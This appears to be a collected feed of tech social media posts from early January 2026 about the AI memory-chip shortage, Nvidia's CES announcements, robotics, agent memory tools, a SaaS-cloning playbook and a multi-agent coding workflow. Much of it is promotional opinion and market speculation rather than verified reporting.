Sandisk is the clearest signal that the AI trade thesis has flipped.
2023 and 2024 were about GPUs. Whoever had the most H100s won. Nvidia ate everything.
But GPUs without storage are useless.
You can’t run inference on petabytes of data if you can’t READ that data fast enough. The bottleneck moved and hardly anyone noticed.
Here’s where it gets interesting.
Western Digital bought Sandisk in 2016 for $16 billion. In February 2025, they spun it back out.
At the spinoff, Sandisk opened at $38.50 with a $5.6 billion market cap. That’s a 65% haircut from the original aquisition price.
Wall Street thought the flash memory business was a commodity going nowhere.
Ten months later, $40 billion market cap.
The math is WILD. If you bought $10,000 of SNDK on day one, you’re sitting on $90,000.
So what happened?
IDC is now calling it a “memory shortage crisis.” First time in 30 years that DRAM, NAND, and HDDs are all constrained simultaneously.
NAND wafer prices jumped 60% in November alone. Contract prices doubled since July. Suppliers are already selling out 2026 and negotiating 2027 allocations.
Samsung raised flash prices 60% since September. Micron has presold almost all HBM through 2026. TrendForce says demand will grow 20-22% in 2026 while supply grows only 15-17%.
The gap keeps widening.
And Sandisk is gaining market share in the middle of it. They picked up 2 points of NAND share in 12 months while Samsung, SK Hynix, and Kioxia all lost ground.
The spinoff timing was accidentally perfect.
Freed from Western Digital’s HDD business, Sandisk became a pure-play on the one constraint hyperscalers can’t engineer around. You can optimize inference. You can quantize models. You can’t compress the raw training data.
Wall Street expected very little upside in 2026. Options traders are pricing in 40%+ gains in the first half.
Someone’s wrong.
4088 likes301 retweets64 repliesJan 07, 2026 at 05:01
A workflow I'm enjoying for managing coding agents on a kanban board:
When an agent needs your input, it turns the task red to alert you that it's blocked!
And then you can respond right there on the card to unblock it 😎 https://t.co/lfVSfYKxqu
Italian company Generative Bionics unveiled a humanoid robot concept, Gen1, at AMD's CES 2026 opening keynote. It's an adult-sized, bipedal humanoid with a red exterior, resembling Iron Man.
In other words, AMD has officially entered the humanoid robot field. https://t.co/Nfr0eN0GKe
A paradoxical relationship in technology, related to Jevon's paradox but slightly askance:
AI chips are available today
But you could more efficiently deploy more efficient chips 3 years from now
What's the rush?
A technology in the midst of a rapid cost decline almost necessarily bifurcate's the market between those that believe that having access to inferior technology today will give them much better position in the future and those that think it best to operate a node or two behind.
The cost to generate tokens is collapsing.
And yet AI model providers are paying dearly--as are their users--to generate tokens today that will look woefully inefficient tomorrow.
Either the aggressive users are misguided, or the time cost of not generating tokens has to exceed even the steep performance curve that token generation is following.
On a hardware basis--leaving aside architectural improvements--the cost to generate tokens is roughly halving annually. This must mean the perceived return on token generation is at least 100% annualized.
A gigawatt of compute today is as valuable as 2 GWs next year.
This leads, almost inevitably, to space compute.
Sensitive to various inputs, it looks like space-based AI compute becomes cost efficient versus terrestrial AI compute on a per-token basis at roughly $400 per kg in launch costs.
While not there yet, Starship at reasonable volumes--what we expected SpaceX to deliver by 2030 before the space compute opportunity arose--should cross that cost threshold.
More important than cost, however, is time. AI companies are starved for flops now.
Industry-wide we expect terrestrial datacenters to be installing 90GW in 2030, having cumulatively built out 250GW between now and then. This is possible but aggressive given the difficulty in building real infrastructure in real places populated by real people (who may throw themselves in front of a bulldozer because they read that book that hyperbolically overstated data center water use by 1000-fold.).
SpaceX needs to massively up-level its launch capability to get into a crossover track. To loft 100GW in a year they probably need on the order of 100 launches per day.
More than ever, the critical path for SpaceX is starship reusability, but if they can cross that threshold, they will find themselves in an economically advantaged position having dodged major scaling constraints that will dog competitive chip deployment entities.
They will literally have the high ground.
202 likes26 retweets13 repliesJan 07, 2026 at 00:58
Pretty wild convo I just had with the Head of AI at a $50bn tech company.
They're watching a massive class divide be created in real time before their eyes.
60% of employees are AI-native. Use ChatGPT >20x per month. Constantly mining for ways to leverage AI in their workflows & internal tools.
40% are AI-skeptics. Don't use an LLM as a daily driver. Try out an AI tool for 5 minutes, don't like the output, then complain that the technology creates slop.
Previous technology waves didn't create the sort of intra-company productivity gap we're about to witness.
The difference between the excel warrior using their mouse vs. memorized shortcuts is ~25%.
The difference between an AI-native & AI-resistant knowledge worker will be 10-100x. And that gap is going to grow rapidly.
It's every company's responsibility to (selfishly) get all of their employees on the right curve.
And it's every knowledge worker's best defense against irrelevancy to embrace this technology as quickly as humanly possible. Living on the frontier is your only option.
612 likes76 retweets95 repliesJan 06, 2026 at 21:03
Join my conversation with @elonmusk on AGI timelines, energy, robots, and why abundance is the most likely outcome for humanity's future, alongside my Moonshot Mate @DavidBlundin!
(00:00) - Navigating the Future of AI and Robotics
(04:54) - The Promise of Abundance and Optimism
(10:02) - Energy: The Key to a Sustainable Future
(15:00) - The Role of Education in a Changing World
(41:07) - Health, Longevity, and the Future of Humanity
(50:51) - AI's Impact on Labor and Employment
(55:05) - Universal High Income: A New Economic Paradigm
(57:58) - Navigating the Singularity and AI's Acceleration
(01:02:30) - The Role of AI in Healthcare and Surgery
(01:08:22) - Ethics and AI: Programming Values into Machines
(01:14:18) - The Future of Space Exploration and AI's Role
(01:33:30) - The Chip Shortage Crisis
(01:42:46) - Simulation Theory and Consciousness
(01:48:18) - The Search for Extraterrestrial Life
(01:58:28) - The Future of Robotics and AI Integration
What the actual holy mother of god did I just witness
Someone asked me to check out Every Code
- a Codex fork
This has EVERYTHING I ever wanted!?
Whhhaaattttddeeeeefffwwwaaaakkkk
From the README:
Auto Drive orchestration – Multi-agent automation that now self-heals and ships complete tasks.
Browser Integration – CDP support, headless browsing, screenshots captured inline.
Multi-agent commands – /plan, /code and /solve coordinate multiple CLI agents.
Unified settings hub – /settings overlay for limits, theming, approvals, and provider wiring.
Theme system – Switch between accessible presets, customize accents, and preview live via /themes.
I'm in the Nvidia Q&A with Jensen and someone just asked the difference between Alpamayo and Tesla FSD
Jensen said:
“As to your second question: Tesla’s FSD stack is completely world-class. They’ve been working on it for quite some time. It’s world-class not only in the number of miles it’s accumulated, but in the way it’s designed—the way they do training, data collection, curation, synthetic data generation, and all of their simulation technologies.
Of course, the latest generation is end-to-end Full Self-Driving—meaning it’s one large model trained end to end. And so… Elon’s AD system is, in every way, 100% state-of-the-art. I’m really quite impressed by the technology. I have it, and I drive it in our house, and it works incredibly well.
Alpamayo was designed around a different idea. The first difference is that NVIDIA doesn’t build self-driving cars—we build the full stack and the technology for everybody else to build self-driving cars. And we build—like we do for humanoid robotics—three computers: the training computer, the simulation computer, and the robotics computer, which is the self-driving car computer. We have software stacks across all of that.
Our customers can use all of it, some of it, or parts of it—whatever makes sense for them. And so we’re working with the entire industry—Tesla for their training system, Waymo for the car computer, and XPeng. Nuro—who I think just announced they’re going into the robotaxi business—with Lucid and Uber; and NVIDIA is part of that.
So our system is really quite pervasive because we’re a technology platform provider—that’s the primary difference. There’s no question in our mind that, of the billion cars on the road today, in another 10 years’ time, hundreds of millions of them will have great autonomous capability. This is likely one of the largest, fastest-growing technology industries over the next decade.
And the last thing we do is: we open-source everything. If a customer would like to use the model that we train, they’re welcome to do that. If they would like to use our model technology but train it themselves, we even help them do that. We’re not a self-driving car company—we just want to enable the world’s autonomous industry. Everything that moves should be autonomous.”
2207 likes207 retweets51 repliesJan 06, 2026 at 20:45
Everyone’s missing the real story here.
Jensen dropped six chips into production at once. Coverage called it a product refresh. Look at the actual numbers.
One Vera Rubin GPU hits 50 petaFLOPS inference. Five times Blackwell. Training lands at 35 petaFLOPS. Back in June 2024 NVIDIA projected 13 TB/s HBM4 bandwidth. They shipped 22 TB/s. Underpromised by 69%. Nobody noticed.
The rack numbers are stupid. A single NVL72 pushes 3.6 exaFLOPS inference throughput. Token costs drop to a tenth of Blackwell. Same MoE model trains on a quarter the GPUs.
Vera CPU matters more than headlines suggest. 88 custom ARM cores NVIDIA designed from scratch. Grace borrowed IP. Vera says they don’t need anyone else’s silicon anymore. Liquid cooling runs at 45°C water and kills the chiller requirement entirely. Datacenter geography constraints just got looser.
Now why would a company selling compute release Alpamayo, Cosmos, and GR00T models for free? Ten trillion language tokens. Half a million robotics trajectories. Free.
Bottleneck moved. Training language models isn’t hard with enough B200s. Physical AI is hard. Robots in chaos. Cars on edge cases. NVIDIA can’t sell that inference compute until software exists to burn it. Mercedes ships the CLA with Alpamayo reasoning this year.
Amazon announced Trainium3 with NVLink Fusion compatibility. Read that again. AWS spent years building around NVIDIA. Now they’re building bridges in. Trainium3 ships LNC=1 and LNC=2 support, researchers want LNC=8, that arrives mid-2026. Vera Rubin hits the same window with 5x the inference jump.
Memory situation is where math gets ugly.
SK Hynix sold out DRAM, NAND, and HBM through 2026. Samsung and Hynix hiked HBM3E prices 20% while ramping HBM4. NVIDIA wants 16-layer HBM4 by Q4 2026. That product doesn’t exist commercially. Wafer thickness has to drop from 50 micrometers to 30. HBM production eats 3x more wafer capacity per bit than DDR5. Server DDR5 contract prices jumped 60% in months.
SanDisk ripped 23% today. Up 1,000% since April.
Jensen said inference context memory will become the largest storage market in the world. BlueField-4 KV cache storage for agentic reasoning. Western Digital rose 15%. Seagate up 12%. Storage trade repriced on one CES slide.
Roadmap runs to 2028. Rubin Ultra hits H2 2027 with 100 petaFLOPS per socket. The VR300 NVL576 delivers 15 exaFLOPS, 21x current GB200 NVL72.
NVIDIA announced their current flagship shipping to Microsoft and AWS will be 21x weaker than what arrives 18 months later. Said it publicly. That confidence only makes sense if nobody catches them.
Stock barely moved. Market either priced in 10x inference cost reduction or doesn’t get what happened.
Gap isn’t closing.
785 likes84 retweets32 repliesJan 06, 2026 at 20:20
Vector Search is not Memory.
RAG is great for retrieving documents, but it fails at maintaining User State. If you are just dumping chat logs into a vector DB, you aren't building an Agent, you're building a semantic search engine.
I found the open-source library that solves this. It’s called Mem0.
It acts as a self-improving Memory Layer that sits between your user and the LLM.
The Cheat Code for AI Agents => Instead of static retrieval, Mem0 creates adaptive memory that evolves with every interaction.
This solves the three biggest bottlenecks in Agent production:
1./ The Amnesia Problem
Standard RAG retrieves facts but forgets preferences. Mem0 tracks User, Session, and Agent state separately. If a user prefers Python over JS in session 1, the Agent remembers it in session 50.
2./ The Context Window Trap
Mem0 uses a Memory Compression Engine. It distills complex history into optimized prompts. Result: 90% reduction in token usage and significantly lower latency (TTFT).
3./ Multi-Agent Coordination
If you use CrewAI or LangGraph, your agents are usually siloed. Mem0 acts as a shared brain. What your "Researcher" agent learns, your "Writer" agent instantly knows.
It’s fully open-source and integrates with OpenAI, Vercel AI SDK, and LangChain.
Stop building stateless bots.
699 likes81 retweets36 repliesJan 06, 2026 at 20:00
Today in @NatureMedicine we report that AI can predict 130 diseases from 1 night of sleep🛌
We trained a foundation model (#SleepFM) on 585K hours of sleep recordings from 65K people—brain, heart, muscle & breathing signals combined.
AI learns the language of sleep🧵 https://t.co/EWMa4KYQJm
9839 likes1824 retweets239 repliesJan 06, 2026 at 16:29
Nintendo took 40 years to give us a Legend of Zelda movie.
I made this in 5 days on a $300 budget.
It looks like a $300M blockbuster.
Let me show you how I made this in 5 simple steps inside of Freepik: 🧵 https://t.co/DgkdPDPyGA
For two hundred thousand years, intelligence has been the rarest resource on earth. Locked inside individual human minds. Non‑scalable. Scarce. Every advance in civilization — every leap in science, art, industry, and statecraft — flowed from that scarcity.
Artificial intelligence breaks that pattern. It makes intelligence abundant. It makes it cheap. It makes it scale. This is not just another wave of automation or software. It is the industrialization of intelligence itself.
When intelligence becomes a utility, it stops being a tool that sits on top of society and starts becoming the foundation of society. It is a transformation as profound as the harnessing of electricity — but on a higher plane. Electricity powered machines. Industrial intelligence powers knowledge. And knowledge shapes everything.
This shift will reorder the very structures that underpin nations. The two pillars that define sovereignty — economic strength and security — are being rebuilt on a substrate of machine intelligence. Nations that master this new utility will not simply gain efficiency. They will redefine what prosperity, power, and freedom mean in the 21st century.
For me, this is the central story of our time. It is not about the latest app. It is not about hype cycles. It is about the first time in history that intelligence itself — the raw material of progress — has become infinite and industrial. The question is not whether it will transform society. It already is. The question is who will shape that transformation.
Jensen Huang introduced "Alpamayo", the world's first thinking, reasoning autonomous vehicle AI
trained end-to-end from raw camera input to real-world actuation, using both human demonstrations and Kosmos synthetic data
"it tells you what action it’s gonna take, and the reasons behind it"
Claude Code with infinite memory is now possible.
Claude-Mem is a free plugin to persist memory across Claude sessions.
- Up to 95% fewer tokens per session.
- 20× more tool calls before context limits.
100% open-source. https://t.co/oB4mCRMGBX
1453 likes129 retweets42 repliesJan 06, 2026 at 10:14
The Wine Robots of Paso Robles vineyard, California.
Thorvald is a modular, autonomous robot platform developed by Saga Robotics, that performs UV-C light treatments to kill powdery mildew on grapes and strawberries, without use of chemicals.
https://t.co/L1SVKjgdcp
yann lecun has officially left Meta after about 12 years
i'm not shocked.
after the Llama-4 mess last year, it felt like things were heading this way
his main technical disagreement was that Meta bet too hard on LLMs, while his preferred "world model" approach kept losing resources and autonomy
yann is my favorite scientist, and i hope he shares some updates on x
We’re entering the age of AI slop that people believe en masse.
This post is 100% fake and probably AI generated. All made up. Yet massive number of upvotes, views and shares.
Journalist @CaseyNewton got in touch with the “whistleblower.” The guy faked all “evidence” with AI… https://t.co/sPXQQsMPHy
6670 likes752 retweets318 repliesJan 06, 2026 at 08:02
One of the biggest misconceptions is that we're still using the vanilla transformer algorithm from 2017. The software layer of AI is _also_ improving exponentially.
2025 saw incredible progress on the software layer. Here are some of the bigger breakthroughs:
1) RL with Verifiable Rewards (e.g., DeepSeek‑R1)
Moving beyond "human vibes", DeepSeek used rule-based verification (math/code) to let models judge their own work. This unlocked self-correction and reasoning without the expensive human labeling.
2) Test-Time Compute (e.g., o3)
We learned that "thinking" longer beats training larger. o3 proved that generating thousands of internal thoughts to backtrack and critique answers solves problems that instant-response models can't.
3) Agentic Systems (e.g., Claude Code)
Tools like Claude Code moved AI out of the chat window and into the terminal, creating an agentic partner that plans, codes, and executes complex workflows independently. Giving rise to vibe coding (for better or worse 😅)
4) Scaled MoE (e.g., Gemini 2.x)
Mixture of Experts became the standard for efficiency. By activating only a fraction of parameters per token, models like Gemini 2.5 delivered with the speed and cost of a smaller model.
5) Reasoning Distillation (e.g., DistilQwen)
We figured out how to compress intelligence. By fine-tuning small models on the "thinking traces" of giant models, we created portable models that run on smaller hardware (like your laptop).
Most Western labs don't publish much of their research anymore, so we don't fully know what's coming in 2026. But betting that software innovation will suddenly stop in 2026 isn't very smart.
147 likes12 retweets12 repliesJan 06, 2026 at 07:26
Emad Mostaque says if your job is on a screen, AI will do it better for pennies within two years
2026 will be when economic agents are benchmarked in dollars
By 2027-28, companies will deploy "digital doubles" that run nonstop and don't repeat mistakes
"it's a new economic turing test"
We need to talk about this report by General Davila of non-nuclear electromagnetic pulse or high-powered microwave weapons being used on Venezuelan air defenses.
1/
https://t.co/wuUp5ZoYIz https://t.co/HncOqglpM0
982 likes202 retweets53 repliesJan 05, 2026 at 23:23
Europe is back! The Finns from Donut Lab announced the First Solid State Battery in production and available in vehicles from today! Amazing numbers! 400Wh/kg, 5-15 min charging, charge to 100% discharge to 0 without degradation, 100k!! cycles, extremely safe, -30Celsius to 100Celsius without degradation, low cost, no rare earths, common materials. THE GAME HAS CHANGED! FUCK CHINA!
7727 likes1079 retweets436 repliesJan 05, 2026 at 22:48
We also continue to rapidly grow our world-class robotics team here @GoogleDeepMind - including the brilliant Aaron Saunders (ex-CTO of Boston) who recently joined as VP of hardware engineering. Thrilled to be working with him at the frontier of robotics & AI - and we're hiring!
546 likes12 retweets17 repliesJan 05, 2026 at 22:37
We’re making great progress with our Gemini Robotics work in bringing AI to the physical world - a critical aspect of AGI. As part of our next steps, super excited to announce our partnership with @BostonDynamics, combining our SOTA robotics models with their world-class hardware
4498 likes460 retweets197 repliesJan 05, 2026 at 22:37
NEWS: Boston Dynamics has just released a new video of its upgraded next-generation humanoid robot called Atlas.
• 4 hour battery. Self-swappable for continuous operation
• 6 feet 2 inches tall
• Weight: 198 lbs
• 56 total degrees of freedom
• Now fully electric, ditching older hydraulic systems
• New lightweight mix of aluminum and titanium components
• 110 lbs weight capacity (66 lbs sustained)
• Can reach up to 7.5 ft
• Constantly evaluates its surroundings and adjusts its posture, balance, and grip in real time
• Hands that can reconfigure as needed. Tactile sensors feed data back into the system, helping apply the right amount of force
• Brain is powered by Nvidia chips
We just killed every RAG and Vector Database company
(by storing AI memory in video frames)
- Zero infrastructure
- 5 minute setup
- Hybrid search
- Sub-5ms retrieval
- Fully portable
- Open Source
Introducing @memvidAI v2 https://t.co/kmHVw0FRD6
I think we're hitting a point where mobile coding actually makes sense for production-grade systems.
This developer runs 6 Claude Code agents in parallel from his phone.
No laptop, just a $7/day VM and push notifications when Claude needs input 🤯
Instead of long periods of intense focus, software development can now just fit into the gaps of your day.
https://t.co/fu2WcU3LcE
1268 likes84 retweets92 repliesJan 05, 2026 at 16:44
If 2025 was beginning of agents, 2026 will be around Agent Harnesses. An Agent Harness is the infrastructure that wraps around an AI model to manage long-running tasks. It is not the agent itself.
It operates at a higher level than agent frameworks. The harness provides prompt presets, opinionated handling for tool calls (Human in the loop), lifecycle hooks or ready-to-use capabilities like planning, filesystem access or sub-agent management.
As Benchmarks are going to become more complex we need to bridge the gap between benchmark claims and user experience. A Agent Harness can be essential for three critical reasons:
- Validating Real-World Progress: Allows users to easily test and compare how the latest models perform against their use cases and constraints.
- Empowering User Experience: Without a harness, the user's experience might be behind the model's potential.
- Hill Climbing via Real-World Feedback: A shared, stable environment (Harness) creates a feedback loop where researchers can iterate and improve ("hill climb") based on actual user adoption.
We are heading toward a convergence of training and inference environments. We see a new bottleneck being context durability. The Harness will become the primary tool for solving "model drift”.
Read my full blog 🔽
976 likes145 retweets81 repliesJan 05, 2026 at 13:55
You can now give infinite memory to Claude Code.
Claude-Mem just released a free open source memory plugin by thedotmack.
It saves context so Claude resumes work without reexplaining everything.
𝗣𝗲𝗿𝘀𝗶𝘀𝘁𝗲𝗻𝘁 𝗺𝗲𝗺𝗼𝗿𝘆 𝗳𝗼𝗿 𝗖𝗹𝗮𝘂𝗱𝗲 𝗖𝗼𝗱𝗲
Claude-Mem records what Claude does during coding sessions.
It stores tool usage, observations, and summaries locally.
Future sessions reuse that compressed context automatically.
How memory stays efficient.
→ Claude saves short semantic summaries, not raw transcripts.
→ Retrieval uses search before loading full details.
→ Tokens stay low even with long histories.
What Endless Mode changes.
• Up to 95 percent fewer tokens per session.
• About 20 times more tool calls before context limits.
• Enabled from the beta channel.
What you control.
• Local SQLite storage only.
• Private tags exclude sensitive data.
• Configurable context injection.
3346 likes341 retweets100 repliesJan 05, 2026 at 13:00
In 1998, Warren Buffett gave a 1-hour masterclass on how to never lose money investing.
His frameworks:
• The 10% ownership test
• Castle & moat thinking
• Circle of competence
• Why smart people go broke
12 timeless lessons from his masterclass:
1. The 10% ownership test https://t.co/3yVFWTVjgh
It's a hard thing to measure, fwiw. The best summary I know of comes from @rhein_wein in this deepdive of how 15+ tech companies including Google, GitHub and others do it:
https://t.co/CQledsdvjA
Fire Point drone engines now have 97% Ukrainian parts, continuing to reduce need for imported components.
This will be an important factor for EU defence production: how to prevent import bottlenecks and dependence on potentially-unreliable suppliers if a larger conflict erupts. https://t.co/Q160YQ1WuO
1040 likes253 retweets32 repliesJan 05, 2026 at 07:09
NEWS: Boston Dynamics showed off its new Atlas humanoid robot working inside Hyundai's car factory, sorting roof racks. They also showed Atlas' new three finger hand.
"This is the first time Atlas has been out of the lab doing real work. He's working autonomously." https://t.co/5ZQxf3VNpY
Wow. 👏
Claude ran a grow tent and kept a tomato plant, Sol, alive.
A small computer, the Arduino, reads sensors for light, soil moisture, temp, and humidity, then follows Claude’s written instructions to control lights, heater, fan, and pump.
Arduino flips the correct relay pins high or low, which closes the power circuit to that device. Light turns on, mat heats, fans spin, pump pushes water through tubing to the pot. A drip ring or emitter spreads the water around the roots.
Feedback loop, sensors update, Claude checks if targets are met, for example soil moisture above 35%, humidity near 55% to 65%, temp in range. If not, it tweaks runtimes or timing.
Claude watches the live data and camera, reasons, and sends commands or code updates. When the Arduino crashed on day 34, Claude noticed bad readings, turned systems back on in the right order, watered 600ml, then kept tuning humidity and heat.
Result, the tomato plant recovered and kept growing to 15-20 leaves by day 36.
I built an AI Factory that uses Claude Code agents to build apps while I sleep.
This is an automated "assembly line" pipeline, all run by Claude Opus 4.5. Projects move through a Kanban-like system from Idea to Research, Architecture, Coding and Testing.
Factory workers start with market research, searching the web and social media. Then they validate everything, checking app stores for competition and securing a domain name. (All automated by APIs and MCPs)
They automatically create several rounds of app UI revisions. When I wake up, there are projects waiting for me to review: approve this design, give feedback, send that one back for improvement.
Projects are actively coded and tested by the agents, while the entire process is tracked and logged (with "worker documents" that travel each step of the way, like a real factory.)
what are the exact steps to clone any SaaS?
most people overcomplicate this.
here's the exact playbook I'd use with Claude Opus 4.5 + Factory AI to reverse engineer and rebuild any SaaS in weeks, not months:
step 1: deep product archaeology
before writing a single line of code, you need to understand what you're cloning at a forensic level.
- sign up for the target SaaS (free trial, paid, whatever)
- screen record yourself using every single feature
- document every UI state, error message, edge case
- export any data they let you export (reveals data models)
- check their docs, API references, changelog
feed all of this into Claude Opus 4.5. upload screenshots, paste documentation, describe workflows. ask it to reverse engineer the likely database schema, identify core entities, map user flows.
step 2: technical reconnaissance
- check their job postings (reveals tech stack)
- Wappalyzer / BuiltWith for frontend frameworks
- check network tab for API structure and naming conventions
- look at their public GitHub if they have one
- read their engineering blog posts
paste all findings into Claude. ask: "based on this evidence, what's the likely architecture? what are they probably using for auth, payments, background jobs, file storage?"
step 3: scope ruthlessly
this is where most people fail. they try to clone 100% of features.
use Claude to categorize every feature you documented into:
core (MVP): the 3-5 features that deliver 80% of the value
important: nice to have, build in month 2-3
bloat: features you'll never build (or build last)
be honest. most SaaS products have years of feature creep. you're building the lean version that solves the same core problem.
step 4: architecture design with Claude
now you prompt Claude Opus 4.5 with everything you've gathered:
"I'm building a clone of [X]. here's what I know about their product: [paste everything]. here's my MVP scope: [paste features]. design me a complete technical architecture including:
- database schema with all tables and relationships
- API endpoint structure
- auth flow
- file storage approach
- background job requirements
- third party integrations needed
- suggested tech stack optimized for solo dev speed"
Claude will give you a comprehensive architecture doc. iterate on it. ask follow-up questions. poke holes in it.
step 5: Factory AI for accelerated build
this is where Factory AI comes in. Factory is built for autonomous software development at scale.
set up your repo. connect Factory. feed it the architecture Claude designed.
use Factory to:
- scaffold the entire project structure
- generate database migrations from your schema
- build out API endpoints with proper validation
- create UI components from your screenshots
write tests as you go
Factory's agents work continuously. you review PRs, provide feedback, they iterate.
step 6: the "screenshot to code" workflow
for UI, the fastest path:
screenshot every page of the target SaaS
feed to Claude: "recreate this UI in React/Next.js + Tailwind. make it pixel-close but don't infringe on their specific brand assets. use placeholder copy."
Claude outputs component code
Factory agents refine and integrate into your codebase
repeat for every screen
you can rebuild entire dashboards in hours, not days.
step 7: data model validation
before going deep on build, validate your data model:
- create seed data scripts
- simulate real user workflows in your local env
- ask Claude: "here's my schema, here are the user workflows. what edge cases am I missing? what will break at scale?"
fix issues now, not after you have users.
step 8: auth, payments, core infra
don't reinvent these. use boring, reliable tools:
- auth: Clerk, Supabase Auth, or NextAuth
- payments: Stripe (just use Stripe)
- email: Resend or Postmark
- file storage: S3 / Cloudflare R2
- database: Postgres (Supabase, Neon, or Railway)
- hosting: Vercel for frontend, Railway/Render for backend
prompt Claude: "generate the complete integration code for [Stripe/Clerk/etc] in my [framework]. include webhook handlers, error handling, and TypeScript types."
step 9: rapid iteration cycles
your daily workflow:
morning:
- review Factory AI's overnight PRs
- merge what's good, comment on what needs changes
- add new tasks to the queue
afternoon:
- work on complex features manually with Claude as copilot
- screen share with Claude (via screenshots) when stuck
- let Factory handle the more routine build-out
evening:
- test the day's work
- document bugs and edge cases
- queue up tomorrow's Factory tasks
step 10: the 80% product in 2-3 weeks
if you're disciplined, you'll have a functional clone of the core product in 2-3 weeks. it won't have every feature. it doesn't need to.
what you'll have:
- working auth and user management
- core product functionality (the main 3-5 features)
- payments and billing
- basic admin/dashboard
- deployable to production
step 11: differentiate or die
here's the truth: a pure clone is a commodity race to the bottom.
once you have the base, you need your angle:
- price: can you be 50% cheaper?
- niche: can you serve one segment 10x better?
- speed: can your UX be dramatically faster?
- integration: can you plug into a workflow they ignore?
- model: can you flip the business model (one-time vs subscription, usage-based, etc)?
use Claude to brainstorm differentiation: "I cloned [X]. here's what they do. what are their biggest customer complaints (search Reddit, Twitter, G2 reviews)? where could a competitor win?"
step 12: launch and iterate
ship to a small group. friends, Twitter followers, a Discord community. get feedback fast.
use Claude to:
- analyze feedback patterns
- prioritize feature requests
- draft changelog and marketing copy
- debug issues in production
the meta-lesson
the tools have changed everything. what used to take a funded team 6-12 months, a single operator with Claude Opus 4.5 + Factory AI can do in weeks.
but the leverage only works if you:
- scope ruthlessly (most important skill)
- move fast and iterate
- use AI for acceleration, not as a crutch
- actually understand what you're building
the people who win are the ones who treat AI as a 10x multiplier on their existing skills, not a replacement for thinking.
now go clone something and undercut an incumbent.
Robots are increasingly developing new capabilities. In this case, "Robodogs" have now learned to swim.
Frankly, I wouldn't be surprised if they could fly in the future and then be used on water, in the air, and on land. https://t.co/cRWNk2zvuU
Unitree Humanoid Robot Daily Training 🥳
Have you exercised today? How about training together with a robot?
Please use robots in a friendly and safe manner, and keep a safe distance. https://t.co/RCltImbkAU
Roban (Gemini co-author, now at Anthropic) and Lucas (ex-DeepMind/OpenAI, now at Meta) understand models like Claude Opus down to the atomic level.
And yet, Claude Code still blew their minds.
This happens all the time in AI. Even the people who build these systems are shocked by the intelligence that emerges, just like Demis being stunned by AlphaGo’s “Move 37.”
That mystery is what pulled me into AI research during my PhD. AI is mysterious and unpredictable, yet deeply attractive. The models just want to learn.
Buckle up. Fast takeoff ahead!
The hidden math most founders never see:
VCs need 3x fund returns to stay in business. A $100M fund needs to return $300M. If they own 20% of your company at exit, you need to sell for $1.5B just for them to hit target on that one bet.
They’re making 30 bets. Most will zero out. So the winners need to return 10-50x to cover the losses. Your $30M exit where you keep $25M? Returns their capital 0.6x. They’d rather you swing for $1B with a 5% success rate than take the $30M with 40% odds.
By Series B, founders typically own less than 30% of their company. By Series C, that drops to 15-25%. A $50M exit at 20% ownership nets founders $10M before liquidation preferences. The bootstrapped founder selling at $40M with 90% ownership walks with $36M.
The incentive structures are pointed in opposite directions. VCs optimize for portfolio returns. Founders optimize for personal outcomes. These only align at $500M+ exits.
Getting to $3M ARR without outside capital usually means the team has found product-market fit and maintained cost discipline that many VC-backed peers never develop. That operational muscle compounds. The $10M ARR bootstrapped company learned to print cash. The $10M ARR VC-backed company learned to spend it.
Both paths can work. The difference is who the math works for.
To cut through the noise on this topic, it’s helpful to provide more more context:
- We have built several versions of this system last year. - There are tradeoffs and there hasn't been a clear winner.
- When prompted with the best ideas that survived, coding agents are able to go very far and generate a good decent toy version in an hour or so.
If you have a markdown plan for a new piece of software that you're getting ready to start implementing with a coding agent such as Claude Code, before starting the actual implementation work, give this a try.
Paste your entire markdown plan into the ChatGPT 5.2 Pro web app with extended reasoning enabled and use this prompt; when it's done, paste the complete output from GPT Pro into Claude Code or Codex and tell it to revise the existing plan file in-place using the feedback:
---
Carefully review this entire plan for me and come up with your best revisions in terms of better architecture, new features, changed features, etc. to make it better, more robust/reliable, more performant, more compelling/useful, etc.
For each proposed change, give me your detailed analysis and rationale/justification for why it would make the project better along with the git-diff style changes relative to the original markdown plan shown below:
---
This has never failed to improve a plan significantly for me. The best part is that you can start a fresh conversation in ChatGPT and do it all again once Claude Code or Codex finishes integrating your last batch of suggested revisions.
After four or five rounds of this, you tend to reach a steady-state where the suggestions become very incremental.
(Note: I was originally planning to end this post here, but thought it would be helpful for people to see this part in the larger context of the entire workflow I recommend using all my tooling)
Then you're ready to turn the plan into beads (think of these as epics/tasks/subtasks and associated dependency structure. The name comes from Steve Yegge's amazing project, which is like Jira or Linear, but optimized for use by coding agents), which I do with this prompt using Claude Code with Opus 4.5:
---
OK so please take ALL of that and elaborate on it more and then create a comprehensive and granular set of beads for all this with tasks, subtasks, and dependency structure overlaid, with detailed comments so that the whole thing is totally self-contained and self-documenting (including relevant background, reasoning/justification, considerations, etc.-- anything we'd want our "future self" to know about the goals and intentions and thought process and how it serves the over-arching goals of the project.) Use only the `bd` tool to create and modify the beads and add the dependencies. Use ultrathink.
---
After it finished all of that, I then do a round of this prompt (if CC did a compaction at any point, be sure to tell it to re-read your AGENTS dot md file):
---
Check over each bead super carefully-- are you sure it makes sense? Is it optimal? Could we change anything to make the system work better for users? If so, revise the beads. It's a lot easier and faster to operate in "plan space" before we start implementing these things! Use ultrathink.
---
Then you're ready to start implementing. The fastest way to do that is to start up a big swarm of agents that coordinate using my MCP Agent Mail project.
Then you can simply create a bunch of sessions using Claude Code, Codex, and Gemini-CLI in different windows or panes in tmux (or use my ntm project which tries to abstract and automate some of this) in your project folder at once and give them the following as their marching orders (for this to work well, you need to make sure that your AGENTS dot md file has the right blurbs to explain each of the tools; I'll include a complete example of this in a reply to this post):
---
First read ALL of the AGENTS dot md file and README dot md file super carefully and understand ALL of both! Then use your code investigation agent mode to fully understand the code, and technical architecture and purpose of the project. Then register with MCP Agent Mail and introduce yourself to the other agents.
Be sure to check your agent mail and to promptly respond if needed to any messages; then proceed meticulously with your next assigned beads, working on the tasks systematically and meticulously and tracking your progress via beads and agent mail messages.
Don't get stuck in "communication purgatory" where nothing is getting done; be proactive about starting tasks that need to be done, but inform your fellow agents via messages when you do so and mark beads appropriately.
When you're not sure what to do next, use the bv tool mentioned in AGENTS dot md to prioritize the best beads to work on next; pick the next one that you can usefully work on and get started. Make sure to acknowledge all communication requests from other agents and that you are aware of all active agents and their names. Use ultrathink.
---
If you've done a good job creating your beads, the agents will be able to get a decent sized chunk of work done in that first pass. Then, before they start moving to the next bead, I have them review all their work with this:
---
